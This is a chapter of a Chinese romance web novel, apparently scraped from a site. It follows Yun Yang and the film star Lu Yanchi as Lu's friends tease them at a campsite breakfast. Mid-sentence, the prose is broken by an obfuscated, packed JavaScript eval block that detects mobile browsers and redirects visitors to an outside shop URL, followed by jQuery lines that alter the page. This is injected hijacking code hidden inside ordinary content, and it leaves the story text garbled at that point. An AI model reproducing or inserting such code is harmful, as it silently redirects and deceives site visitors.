云扬是被帐篷外的说话声吵醒的。
他睁开眼,先看到的是灰白色的光,若隐若现的从帐篷的顶端透下来。随后,他意识到自己正枕着陆砚池的手臂。
陆砚池平躺着,呼吸均匀,似乎还在睡。云扬小心翼翼地转过头,看见陆砚池的侧脸轮廓分明,眼底还有浅淡的乌青。
“陆砚池?云扬?你们醒了吗?”帐篷外传来一阵窸窸窣窣的声音,带着笑意,“太阳晒屁股了!”
云扬轻轻挪动,想从陆砚池手臂下移开。刚动了一下,陆砚池的眼睛就睁开了。
“早。”陆砚池说,声音带着晨起的微哑。
“早。”云扬坐起来,整理了一下睡皱的T恤。
两人一前一后钻出帐篷时,外面已经站了好几个人。
云扬环视一周,原主的记忆里有这些人,刚才说话的应该是周时延,是陆砚池的好友,另外的,还有两男一女,都是陆砚池圈内的朋友,云扬在杂志和新闻里见过他们:音乐制作人许燃,编剧苏晚,还有导演陆深。这几个人也是这次短剧的策划人。
五双眼睛齐刷刷地看过来。
“哇哦,”许燃先吹了声口哨,眼神在云扬和陆砚池之间来回扫,“你们俩……起得够晚的啊!”
他特意强调了“你们俩”三个字。
苏晚捂着嘴笑:“我就说嘛,早上我们来的时候,陆砚池的车已经在了,说什么要提前准备,等了这么半天两个人才醒来。”她拖长声音,“原来是提前来过二人世界。”
陆深比较沉稳,只是推了推眼镜,但他眼中的那抹笑意还是挡不住。
云扬的脸开始发烫。他下意识地看向陆砚池,却见对方神色平静,甚至还有闲心理了理袖口。
“你们脑子里装的都是什么。”陆砚池淡淡地说,语气里听不出情绪,“云扬昨天有点晕车,我们才提前上来让他休息。”
这个解释合情合理。但许燃显然不买账。
“晕车啊!”他拉长声音,走到云扬身边,哥俩好地搂住他的肩,“那怎么只带了一顶帐篷?云弟弟,你跟哥说实话,是不是陆砚池强迫你的?他要是欺负你,哥给你撑腰。”
云扬僵住了。许燃的手很热,搂他的动作也很自然,但他就是觉得浑身不自在。尤其是陆砚池的视线落在他肩上时,那种不自在达到了顶点。
“许燃。”陆砚池开口,声音平静,“放手。”
许燃挑眉:“怎么,搂一下都不行?这么护着?”
空气安静片刻。
陆砚池走过来,动作自然地将云扬从许燃手臂下带出来,站在两人中间。
“他脸皮薄,”陆砚池说,目光扫过在场的每个人,“别逗他。”
许燃耸耸肩,后退一步,举起双手做投降状:“好好好,不逗不逗。陆大影帝护食,我们懂。”
苏晚笑着打圆场:“行了行了,都别站着了。早餐我们带了,去那边坐着吃吧。”
早餐是在营地中央的简易桌椅旁进行的。陆砚池的朋友们显然经常一起玩,气氛很轻松,话题从最近的电影聊到行业八卦,时不时穿插几句玩笑。
云扬安静地吃着三明治,尽量降低自己的存在感。但许燃显然不打算放过他。
“小云,”许燃忽然叫他,“你跟陆砚池……怎么认识的啊?”
这个问题一出,其他人都看了过来。
云扬的手指收紧。他知道媒体上流传的版本,三个月前的短剧现场,两人一见钟情,秘密交往六个月。
他张了张嘴,还没发出声音,陆砚池已经开口了。
“片场。”陆砚池说得言简意赅,用纸巾擦了擦手指,“他当时被人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185152|197002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为难,我帮了个忙。”
这个答案,既回答了问题,又巧妙地避开了细节。
“英雄救美啊。”许燃笑,“然后呢?就追到手了?”
陆砚池抬眼看他,但放下咖啡杯时,杯底与桌面碰撞,发出清脆的声响。
“你很闲?”他问,语气平淡,可指尖在杯沿无意识的摩挲了一下。
“哎呀,好奇嘛。”许燃不依不饶,“我们认识你这么多年,从来没见过你对谁这么上心。又是公开恋情,又是带着见朋友,说真的,要不是亲眼看见,我都怀疑你被魂穿了。”
苏晚用手肘撞了他一下:“少说两句。”
“我说的是事实啊。”许燃看向云扬,眼神里多了几分认真,“小云,你别看陆砚池现在人模人样的,他以前可是出了名的工作狂加性冷淡。圈里那些传言……”
“许燃。”陆砚池打断他,声音冷了下来。
他看见陆砚池放下手里的咖啡杯,杯底碰到桌面,发出清脆的一声响。
“有些话,”陆砚池缓缓地说,目光扫过在场的每个人,“该说,不该说,你们心里清楚。”
许燃脸上的笑容收敛了。他看了陆砚池几秒,然后举起双手:“OK,我的错。不提了。”
气氛有些尴尬。苏晚连忙转移话题:“对了,今晚我们玩真心话大冒险怎么样?好久没玩了。”
陆深点头:“可以。带扑克牌了。”
许燃也恢复了笑容:“行啊。不过。”他看向陆砚池和云扬,“某些人可不能耍赖。”
陆砚池没有立刻回答,他侧头看向云扬。
“好啊。”
陆砚池点了点头,转回去对其他人说:“可以。但规矩定好,过分的问题不许问。”
“知道知道,”许燃笑,“陆大影帝的规矩,我们懂。”